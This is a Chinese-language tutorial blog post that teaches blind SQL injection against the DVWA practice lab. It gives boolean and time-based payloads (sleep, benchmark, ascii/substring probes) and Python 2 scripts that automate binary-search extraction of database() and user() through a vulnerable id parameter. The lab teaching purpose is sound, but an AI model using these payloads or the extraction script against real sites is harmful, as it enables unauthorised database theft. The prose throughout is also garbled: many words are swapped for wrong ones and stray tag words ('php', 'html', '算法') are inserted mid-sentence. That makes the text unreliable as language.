hack with python(二)

环境:dvwa 1.7
数据库: mysql
前置知识:
  一、阅读了关于sql注入基础的两个博文并本身动手实践过()(
    二、阅读了
hack with python(一)


1、学习web安全的过程并不老是充满快乐,有时还有点小枯燥
(1)那这样咱们,先来玩个小游戏吧!猜数字,看一看你能多少次猜出数字
php

#! /usr/bin/python
#A game to a guess a number between 1 and 100
#if the times you guess is less than 10
#it will print Congrauation info
import random

times = 0
num = random.randint(1,100)
guess = int(raw_input('plz input a number between 1 and 100:'))
while guess != num:
	if guess>num:
		print '%d is bigger than the real value' % guess
		times += 1
	else:
		print '%d is less than the real value' % guess
		times +=1
	guess = int(raw_input('plz input a number between 1 and 100:'))
else:
	print 'Congrauations! The value is %d' % num
	if times<10:
		print 'You are a crazy boy for that you use %d times to guess the numer' % times
	else:
		print 'Maybe there are more faster method to do this'

(2)好了,记得先玩一下,再接着看以后的内容哟!
这里是我在玩这个游戏的思路,先上图
 

好,是否是效率还挺高的呀!每一次猜数正确的次数都少于7次
可是,你有没有发现点什么,就是我每次猜数都是从50开始,为何是50呢?是否是开始有点好奇呀!
html


(3)其实,这里的方法称之“二分法”。python

     也许会有人问:“二分,啥玩意”?
     答曰:“二分你不知道,中分你总知道了吧!什么,你连中分发型都不知道?看我三胖哥萌萌的发型”!

 

     能够看到,三胖哥的发型一分为二,这就是二分的意思!
     那么二分法呢?
     从咱们上面猜数来说解吧!
    上面猜数的范围是0--100,最大值是100
mysql

【1】这里咱们称100为上限,0称为下限。咱们猜想的第一个数为(上限+下限)/2。这样就能够经过判断,将数的范围分为两半
    第一步的逻辑:
若是 随机数>(100+0)/2:     {a}随机数的范围在50到100之间
若是 随机数<(100+0)/2:     {b}随机数的范围在0到50之间 
 
【2】到了这一步,咱们假若是{a}的话,则咱们更改范围的下限为50.假若是的话,咱们则更改范围的上限为50。
    这里咱们按照来说,此时猜数的范围已经缩小为0--50
    第二步分逻辑:
若是 随机数>(50+0)/2:     [c]随机数的范围在25到50之间
若是 随机数<(50+0)/2:     [d]随机数的范围在0到25之间

【3】此后按照这个机理循环,直至猜到数字为主。
    按照[c]来说,此时数的范围25--50
    第三步逻辑:
若是 随机数>(50+25)/2:     随机数的范围在37-50以内
若是 随机数<(50+25)/2:     随机数的范围在25-37以内



(4)到这里咱们总结一下,
   一、不断将随机数与(上限与下限之和)的平均值比较,缩小上限与下限的范围
   二、直到咱们的上限下限的所包含的数据足够少,而这个少的定义由咱们本身来定
   三、遍历剩下的几个数据,便可知道随机数
web


2、有了上面的基础,咱们能够开始了解今天的hack with python课程了。算法

(1)数据库盲注:
[1]什么是盲注?
  这个是与返回数据的sql注入相对应的,因为开发者的设置或者web应用的架构的缘由。没法直接返回咱们须要的数据,只能经过正确请求与错误请求之间的返回不一样状态来判别咱们的请求是否被执行!
[2]类型:
   布尔盲注:也就是经过使判断条件为真或假,从而影响数据库的查询返回的结果集!
   基于时间的盲注:经过延时语句使得查询延后必定时间,从而影响返回结果的快慢
(2)举例:
仍是经过咱们dvwa来学习相关内容,首先设置安全等级为low。
 

而后咱们,切换到SQL injection(Blind)来练习
 
[1]布尔盲注:
正常数据测试:输入1的时候,返回"First name","Surname"
异常数据测试:输入“1'”的时候。没有返回数据,说明咱们的输入可能引发数据库的错误,致使没有数据返回。这里咱们猜想数据的终结符是单引号,因而咱们继续构造验证咱们想法的payload 
 

布尔测试:
使判断条件为真,咱们输入“1' and 'a'='a”
使判断条件为假,咱们输入“1' and 'a'='b”

通过测试,咱们发现当输入为“1' and 'a'='a”的时候,咱们获得的结果和正常页面同样,当输入为“1' and 'a'='b”的时候,结果与异常页面同样!



    这里咱们再看看上面,咱们的payload为何是这样的!
    前两篇sql注入的帖子讲过,正常的sql查询多是这样的!这里数据被包裹在单引号内,是由于上面咱们的单引号致使查询发生异常!
    select firstname,surname from users where id='1'
    因为数据是在单引号内,所以要保证语法正确的话,则要正确的闭合单引号
    当咱们的输入为“1' and 'a'='a”的时候,咱们的查询语句变成这样
    select firstname,surname from users where id='1'  and  'a'='a'
    能够看到,1后面的单引号使用来闭合包围数据的起始单引号,也就是id=后面的那个单引号。闭合以后咱们就能够构造咱们的payload以便让它生效!而咱们不要忘记的是,包围数据的还有一个终结单引号,因此咱们利用了终结单引号,构造了“'a”这样字符串,这样终结单引号就能够与“'a”共同组合成字符串'a',因为'a'='a'恒真,也就是条件判断生效。
    而“1' and 'a'='b”的原理也是同样,只不过'a'='b'恒假,而这里的逻辑运算符为and,只有都为真,条件判断才生效!
[2]基于时间的盲注:
在mysql当中,有一两种方法能够作到时间延迟,
【1】使用sleep()函数,这个函数在Mysql版本>5的时候才可使用。它有一个参数,就是要延时的秒数。


好比5秒以后,sleep(5)
根据上面的知识咱们,构造payload
睡眠时间为5秒:1' and sleep(5) and 'a'='a
sql

==========================分界线================
在测试,咱们怎么知道执行一个页面的时间多长呢?

这里仍是得用到咱们上一章提到的firebug。
一、打开你的firebug(我不会告诉你直接按F12就出来了)
二、切换到网络这个标签页。
三、先输入正常数据“1”,查看一下页面返回的时间




四、再输入咱们的payload,查看一下页面返回的时间,观察时间差


数据库

五、若是时间差和咱们设定的数值基本一致,也就说明存在基于时间的盲注
根据咱们观察到结果,能够肯定其易受基于时间的盲注
【2】使用benchmark()函数,咱们来看一下它的介绍。
编程




这里,它说是用来测试给定的sql语句执行效率如何。其中它有两个参数,第一个参数是执行的次数,第二个参数是要执行的的sql语句
咱们在数据库测试一下吧,看计算不一样的语句的延时是多少!但次数必定要大哟!
这里我选取的次数为10000000次,经过执行md5或者sha1加密!

 
能够看到,当执行benchmark(15000000,sha1('skytina'))的时候,近似5秒的时间!
这里咱们构造的payload
1' and benchmark(15000000,sha1('skytina')) and 'a'='a


能够看到,它的返回页面延缓了5秒。从而能够肯定它易受***
========================分界线结束=================
安全


3、有了上面这些认识,咱们能够开始继续深刻的了解盲注。
(1)这里就不得不提一下substring(),ascii()以及length()这三个函数了
substring()是用来,截取字符串的一部分,ascii()这个是用来将用来返回字符串中最左边字符的ascii值的,而length()这个则是用来返回字符串的长度的
好,下面咱们进入数据库,感性的认识一下
substring有三个参数,第一个是要截取的字符串,第二个截取的起始位置,第三个是截取的长度!
例子:

 
 
经过上面的例子能够看到,咱们通常截取字符串的一个字符,而后得到其ascii数值,经过二分法就能够肯定这二个字符对应的ascii数值
(2)到了,我这里咱们就开始实战吧!
user()、version()、database()这些函数咱们有了必定的了解吧,那咱们测试一下database()
在构造payload前咱们得想想,虽然可使用substring(),可是咱们不知道咱们须要获取的数据长度,是否是有点困惑呢?
当困惑的时候,不妨仔细梳理一下本身学过的知识,想想咱们是否是介绍一个函数,是用来获取字符串的长度的。length()函数,记得不?

 

用上咱们的二分法,这里咱们本身定义个标准,好比我以长度10为开始!咱们对应的下限为1。同时注意到这里咱们用注释掉终结单引号而不是去闭合它!
构造payload:
一、获取要盲注数据的长度
1' and length(database())>10#      返回false 
1' and length(database())>5#        返回false (10+1)/2,这里取的约数
1' and length(database())>3#        返回true  (5+1)/2
1' and length(database())=4#        返回true

经过上面的分析,能够肯定长度大于3且不大于5,可是还有两个可能,一个是4,5。听过最终测试,肯定了database(),即当前数据库的长度为4

(3)肯定了长度以后,咱们开始猜想每个字符。这里插入一张ascii表,你们能够对应一下!

ascii表中,
   字母a-z的范围是97--122
   数字0-9的范围是48--57
   还有几个特殊字符 
        @--64 
        .--46
        _--95


构造payload:
由于大部分数据都是基于字母的,只有在user()这些才会有@等一些特殊字符
1' and ascii(substring(database(),1,1))>97#   返回true 说明第一个字符是字母
1' and ascii(substring(database(),1,1))>110#  返回false 范围:97--110
1' and ascii(substring(database(),1,1))>103#  返回false 范围:97--103
1' and ascii(substring(database(),1,1))>100#  返回false 范围:97--100
1' and ascii(substring(database(),1,1))>98#   返回false
1' and ascii(substring(database(),1,1))=99#   返回false

 

最终肯定,database()第一个字符对应的ascii值为100,也就是d。
以后咱们须要作的就是把substring的第二个参数,起始位置加一,就就能够了,直到起始位置等于咱们的数据长度。
猜想第二个字符:

1' and ascii(substring(database(),2,1))>97#    返回true
1' and ascii(substring(database(),2,1))>110#   返回true
1' and ascii(substring(database(),2,1))>116#   返回true
1' and ascii(substring(database(),2,1))>119#   返回false
1' and ascii(substring(database(),2,1))>117#   返回true
1' and ascii(substring(database(),2,1))=118#   返回true

 

 

由此能够肯定第二字母对应的ascii数值为118.也就是字母v
猜想第三个字符:

1' and ascii(substring(database(),3,1))>97#   返回true
1' and ascii(substring(database(),3,1))>110#  返回true
1' and ascii(substring(database(),3,1))>116#  返回true
1' and ascii(substring(database(),3,1))>117#  返回true
1' and ascii(substring(database(),3,1))=118#  返回false

 

此能够肯定,第三个字母对应的ascii值为119,也就是字母w
猜想第四个字符,也是最后一个,
1' and ascii(substring(database(),4,1))>97#      返回false
1' and ascii(substring(database(),4,1))>57#      返回true 判断是否为数字
1' and ascii(substring(database(),4,1))=97#     返回true



第四个字符对应的ascii值为97,也就是a


4、到这里,咱们已经了了解了怎样经过手工盲注数据,可是每次都得这样手动进行输入判断,是否是效率特别低,并且也特别枯燥!所以,有了咱们这堂课的内容,编写脚原本自动完成这些内容
一、写程序前的分析
但在编写程序的以前,咱们须要进行分析
(1)咱们的查询请求方式是get请求仍是post的形式
   这里咱们,用firebug来分析一下,

        
   能够看到,这里的请求是get形式。可是也应该注意到,咱们须要带上session的值去访问页面,不然系统会从新为咱们从新分配session值.详情能够看上一个博文最后的内容!
   因此咱们写程序的时候须要带上cookie的值,这里咱们略去了登陆获取session这部份内容,直接来学习咱们这篇帖子重点内容
(2)正常页面和异常页面之间的差异
经过咱们以前咱们分别提交正常和异常数据,咱们能够观察到,正常页面是有数据出现的,如Surname这个字符串,这里咱们把它做为咱们的标志,存在Surname说明返回true,不然返回的是false

二、模块1、获取咱们所须要的数据长度
这里咱们要介绍函数这个知识了,什么是函数呢?就是将要运行的一段代码单独的标识出来,这样当咱们须要重复用这一段代码的时候,就不用粘贴复制,而只须要调用这个标识,而后程序就会走进标识指向的那段代码!
总得来讲,函数是一段用来解决特定问题的代码段。
定义一个函数须要使用def关键字,而后def后面跟着的是函数名,接着是参数。
1、初试函数
咱们先来用一用函数,range()函数,是用来输出必定范围的内的数据,以列表的形式返回。
【1】当只有一个参数的时候,起始默认从0开始,range(n)返回列表[0,....,n-1],并不包括n
【2】当有两个参数的时候,第一个参数为起始数值,第二参数为截止数值


>>>range(1,5)
>>>[1,2,3,4]
这里咱们先从一个简单的循环打印函数开始

def printloop(max):
        for x in range(max):
                print x


上面这段代码的运行效果以下图:
 
    值得注意的是:对于通常的编程语言如C等会以"{"来做为做用域的标志,有些如dephi会用"begin"
    在python是以“:”做为做用域的开始,用缩进来表示同一段代码块
分析:如上面第一个冒号,是说明printloop函数做用开始,第二个冒号跟在for循环以后,是表示在for循环做用域的开始!
    那么何时会使用函数呢?当你以为本身的程序出现很多重复的代码的时候,即可以考虑使用函数将你的代码封装起来。

2、笨笨的方法
上面第三部分在讲解盲注知识的时候,咱们讲过能够经过“length(子查询)”来获取对应数据的长度
(1)对于Mysql来讲,支持嵌套查询。这个内容咱们以后在专门的sql注入专题会有讲解,如今的话咱们先来使用mysql中一些经常使用的函数。
如:user()、version()、database()
(2)从上一篇帖子最后面的内容,咱们知道dvwa这个***学习平台是经过session来维持咱们的访问的,要是咱们没有登陆而且使用已经登陆的session值,咱们是没办法访问其余页面。因此咱们这里为了简化登陆机制,重点突出盲注知识,咱们直接使用登陆以后的session值
如图:登陆以后,咱们设置一下安全等级为低。

 
以后咱们按键盘的F12键,而后切换到Cookies标签,咱们再刷新一下页面,能够看到在访问当前页面的时候会自动带上cookie值,分别有两个,一个PHPSESSID,一个是security。



 

这两个cookie就是咱们须要。咱们将它以键值对方式添加到字典去
>>>headers = {"Cookie":"PHPSESSID=nq5qr58g05lbsd2lc7fueeofl5;security=low"}
而后咱们导入咱们要用到的库,分别是urllib二、urllib、string
导入的时候咱们能够,在一行导入多个库,不一样库之间用逗号分隔!
>>>import urllib2,urllib,string


根据上面第三部分的分析,咱们能够知道的是
-+-
(1)注入点是字符注入类型:

http://localhost/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit#
中的id参数值,并且这里的id数值是被单引号包裹住的!
(2)当一个咱们输入正常ID值的时候,后台sql查询正常的时候会返回用户数据,而当咱们输入异常的ID值的时候,后台sql查询异常则不会返回数据。这里咱们定义不一样点为“Surname”这个字符串,拥有这个字符串的时候,则认为咱们sql查询是正常的。
-+-
(3)首先定义一些咱们须要用到的变量
注入点
>>>init_url = "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=3%s&Submit=Submit#"
这里咱们在字符串中添加了一个格式化字符串%s,它表示的是这里即将被填入的是一个字符串。
当咱们须要填入字符串的时候,使用这种格式
>>>init_url % ("the_string_you_want")
咱们只须要将咱们想要的字符串替换上面"the_string_you_want"便可,好比上面的例子


 


当咱们输入的使咱们的payload的时候,好比"' and length(user())=2#"的时候,就会出现咱们第三部分构造过的payload

常见的格式化字符串以下(
延伸阅读)

咱们再次定义另外一个payload格式化字符串
>>>payload = "' and length(%s)=%d#"
能够看到这个字符串有两个格式化字符串符号,一个%s表明的是字符串,%d表明的是整数
还有咱们再设置咱们要查询的数据,
>>>subselect = "database()"
好了,能够开始写咱们的函数了。

def GetLength(headers,init_url,payload,subselect):
        for x in range(1,30):
                 Payload = payload % (subselect,x)
                 url = init_url % (urllib.quote(Payload))
                 #print url
                 req = urllib2.Request(url,headers=headers)
                 result = urllib2.urlopen(req)
                 content = result.read()
                 if string.find(content,"Surname") != -1:
                        print "the length of %s is %d" %(subselect,x)
                        return x

首先,上面咱们定义了四个参数,其中headers是包含咱们的session信息的cookie值,init_url存在注入点的url,payload则是咱们构造的注入,而subselect则是咱们须要获取长度的查询。


上面函数的流程
[1]开始一个for循环,x的值从1到30-1。第一个冒号标识for循环的开始
[2]在for循环内部,咱们使用“%”为格式化字符串填充内容,
  咱们传进来的参数:

payload = "' and length(%s)=%d#"
subselect = "database()"
x = 2

  当执行完这一句话,Payload = "' and length(database())=2#"

每次的循环,x的值都会变化
[3]第三行也一样是格式化字符串,使用urlib.quote(Payload)的值填充init_url。这里使用urllib.quote()的缘由是由于咱们的Payload可能包含特殊字符,好比"#"、"+"等符号,因此须要进行url编码
[4]实例化一个Request请求类的实例,咱们用headers=headers指定头部
[5]剩下就是使用urlopen打开请求,并使用read()方法读取返回的页面信息。若是返回的页面有"Surname"的话,输出数据长度,而且使用return退出函数
能够看到,这里和第三部分的结果一致,即database()返回的当前数据名的长度为4。
 
最后咱们在测试一下其余查询,咱们设置一个subselect1
subselect1 = "user()"
再次运行一下,能够看到当前用户名的长度为14

 

3、机智的方法
如今咱们想象,上面笨笨的方法,简单的使用了for循环来遍历数据的长度,当数据的长度为100的时候,咱们的脚本就会发出100次请求,并且是短期的,这样很容易被waf墙。因此咱们须要更聪明的方法,咱们想一想咱们第一部分玩的猜数游戏。是否是感受如今的盲注和玩游戏很相似呀?
(1)这里咱们回顾一下咱们的二分法
[1]输入上限、下限、未知的随机数、精度
[2]在未达到精度的境况下,不断使用上限和下限的平均值与未知的随机数进行比较
if 未达到精度:
  if 未知随机数>平均数:
    只更改下限为平均数,其余都不变,继续第一步
  else:
    值更改上限为平均数,其余都不变,继续第一步
else:
   进行最后几回的判断,肯定未知的随机数

(2)也就是说,咱们在一个函数内调用自身。这样的调用叫作递归!
咱们先来个简单的递归,但在递归前线介绍一个函数,这个函数叫pow。使用来用来计算某个数的n次方。
它传进去的是两个参数,第一个是底数,第二个是次方数
>>>pow(2,2)
>>>4
>>>pow(4,2)
>>>16
>>>pow(2,0)
>>>1
>>>pow(3,0)
>>>1
计算某个数x的n次方的意思是将n个x相乘,如x的二次方等于x*x
可是有个特别的例子就是任何非零数的零次方都是1
总结起来:
计算x的n次方
if n等于0:
    返回1
else:
    返回x乘以x的(n-1)次方


>>>def mypow(x,n):
           if n == 0:
              return 1
           else:
              return x*mypow(x,n-1)
>>>mypow(2,4)
>>>16
>>>mypow(2,3)
>>>8
(3)能够看到咱们这里不断的调用自定义的mypow函数,知道n等于0的时候,才返回1。不然继续调用mypow计算n-1次乘以x。
(4)编写咱们的二分法函数来改写咱们的求长度的GetLength()函数
可是为了使代码分析,咱们单单把二分法做为单单做为一个函数来编写

def HalfOfIt(headers,init_url,payload,subselect,maximum,minimum):
    ave = (maximum+minimum)/2
    Payload = payload % (subselect,ave)
    url = init_url % (urllib.quote(Payload))
    req = urllib2.Request(url,headers=headers)
    result = urllib2.urlopen(req)
    content = result.read()
    if maximum-minimum == 1:
        if string.find(content,"Surname") !=-1:
            print "The length of %s is %d" % (Payload,maximum)
            return maximum
         else:
            print "The length of %s is %d" % (Payload,minimum)
            return minimum
    if string.find(content,"Surname") !=-1:
        #minimum  <---  ave
        return HalfOfIt(headers,init_url,payload,subselect,maximum,ave)
    else:
        #maximum  <---  ave
        return HalfOfIt(headers,init_url,payload,subselect,ave,minimum)

这里咱们加了两个参数,
maximum:上限
minimum:下限
分析:
[1]第一行根据上限和下限,求出平均值
[2]以后即是格式化字符串payload,init_url,而后读取内容
[3]判断是否达到精度,也就是上限和下限相差1。若是相差1的话,就说明还有两个数值咱们没有进行测试,这时只须要进行一次判断即可以判断出结果,由于咱们的payload是"' and length(database())>ave#"
Ps:这里咱们的ave是用整除的方式,它会省略掉小数部分。也就是说,当我上限和下限相差1的时候,
ave = (maximum+minimum)/2,获得的数值和minimum同样大小。

if 返回页面包含"Surname":
    则说明未知数比minimum大,应该返回maximum
else:
    则说明未知数等于minimum,由于自身不可能大于自身

[4]
if 返回的页面信息有"Surname",则说明未知数值大于平均值:
#这时候把平均值做为下限,其余参数不变,而后继续调用HalfOfIt函数
    return HalfOfIt(headers,init_url,payload,subselect,maximum,ave)
else:
#这时候把平均值做为上限,其余参数不变,而后继续调用HalfOfIt函数
    return HalfOfIt(headers,init_url,payload,subselect,ave,minimum)


(5)这样咱们把咱们二分法的函数写好了。这里我把上面的代码综合起来,新建一个py文件。

import urllib,urllib2,string

def HalfOfIt(headers,init_url,payload,subselect,maximum,minimum):
    ave = (maximum+minimum)/2
    Payload = payload % (subselect,ave)
    url = init_url % (urllib.quote(Payload))
    req = urllib2.Request(url,headers=headers)
    result = urllib2.urlopen(req)
    content = result.read()
    if maximum-minimum == 1:
        if string.find(content,"Surname") !=-1:
            print "The length of %s is %d" % (Payload,maximum)
            return maximum
        else:
            print "The length of %s is %d" % (Payload,minimum)
            return minimum
    if string.find(content,"Surname") !=-1:
        #minimum  <---  ave
        return HalfOfIt(headers,init_url,payload,subselect,maximum,ave)
    else:
        #maximum  <---  ave
        return HalfOfIt(headers,init_url,payload,subselect,ave,minimum)

init_url = "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=3%s&Submit=Submit#"
subselect = "database()"
subselect1 = "user()"
payload = "' and length(%s)>%d#"
maximum = 30
minimum = 1
headers = {"Cookie":"PHPSESSID=nq5qr58g05lbsd2lc7fueeofl5;security=low"}
length = HalfOfIt(headers,init_url,payload,subselect,maximum,minimum)

三、获取数据的数值
咱们猜想数据的最重要的算法,二分法已经完成。下面只须要稍微调整一下咱们的HalfOfIt函数就能够进行数据的猜想了。
(1)分析:
在第三部分猜数的时候,咱们了解到猜数的payload
payload:"' and ascii(substring(subselect,index,1))>x"
这里咱们须要关注的部分有三个,第一个是subselect,这部分和咱们的求数据长度是同样的,index是咱们要获取数据的那一位,好比要
获取第二位substring(subselect,2,1)
获取第三位substring(subselect,3,1)
第三个须要关注的是x的值。对应的课打印字符的ascii数值
(2)因此咱们须要多在HalfOfIt()函数中,多添加一个参数index。而且为它设置默认值
[1]先来个简单的版,函数仍是咱们上面的mypow(x,n),这里咱们给n设置一个默认值,让它计算乘方
>>>def mypow(x,n=2):
   if n == 0:
       return 1
   else:
       return x*mypow(x,n-1)
>>>mypow(2)
>>>4
>>>mypow(9)
>>>81
[2]下面咱们来修改咱们的HalfOfIt,并设置index的初始值为None

def HalfOfIt(headers,init_url,payload,subselect,maximum,minimum,index=None):
    ave = (maximum+minimum)/2
    if index == None:
        Payload = payload % (subselect,ave)
    else:
        Payload = payload % (subselect,index,ave)
    url = init_url % (urllib.quote(Payload))
    req = urllib2.Request(url,headers=headers)
    result = urllib2.urlopen(req)
    content = result.read()
    if maximum-minimum == 1:
        if string.find(content,"Surname") !=-1:
            return maximum
        else:
            return minimum
    if string.find(content,"Surname") !=-1:
        #minimum  <---  ave
        return HalfOfIt(headers,init_url,payload,subselect,maximum,ave,index)
    else:
        #maximum  <---  ave
        return HalfOfIt(headers,init_url,payload,subselect,ave,minimum,index)



能够看到咱们先进行index的数值进行判断,若是没有进行设置,就说他只是计算长度的,有了index则说明在获取数据值。
最后咱们作的就是封装函数来执行获取数据长度:

def GetLength(headers,init_url,subselect):
    maximum = 30
    minimum = 1
    payload = "' and length(%s)>%d#"
    length = HalfOfIt(headers,init_url,payload,subselect,maximum,minimum)
    print "the length of %s is %d" % (subselect,length)
    return length

这里咱们硬编码了payload,由于获取长度的payload是固定的。
[3]在获取信息长度以后,咱们就能够直接获取整个数据了:

for x in range(1,GetLength(headers,init_url,subselect)+1):
    char = HalfOfIt(headers,init_url,payload,subselect,maximum,minimum,index=x)
    print chr(char),

分析:
【1】由于range(start,stop)返回的列表中并不包含stop,因此要是咱们想要包含stop,则须要加一
因此就是range(1,GetLength(headers,init_url,subselect)+1)
【2】第二我的就是chr()函数,传进去ascii数值返回对应的ascii字符

 

5、到了这里,咱们此次hack with python的教程就算完了!
(1)前期写帖子的时候没有规划好,致使后来思路越写越乱,到后来内容很差控制了,看来写文章前也得本身列个大纲呀!这里末尾附带上此次的源码。
(2)对于mysql来讲,因为支持嵌套查询。什么是嵌套查询呢?
就是select username from (select * from users where usertype='admin') where id = 1
能够看出from的内容并非一个数据库,而是一个select的查询结果集!

(3)下次分享在实际注入的例子以及python爬虫!

源码文件:
一、game.py
二、blind_sqli.py

相关文章
相关标签/搜索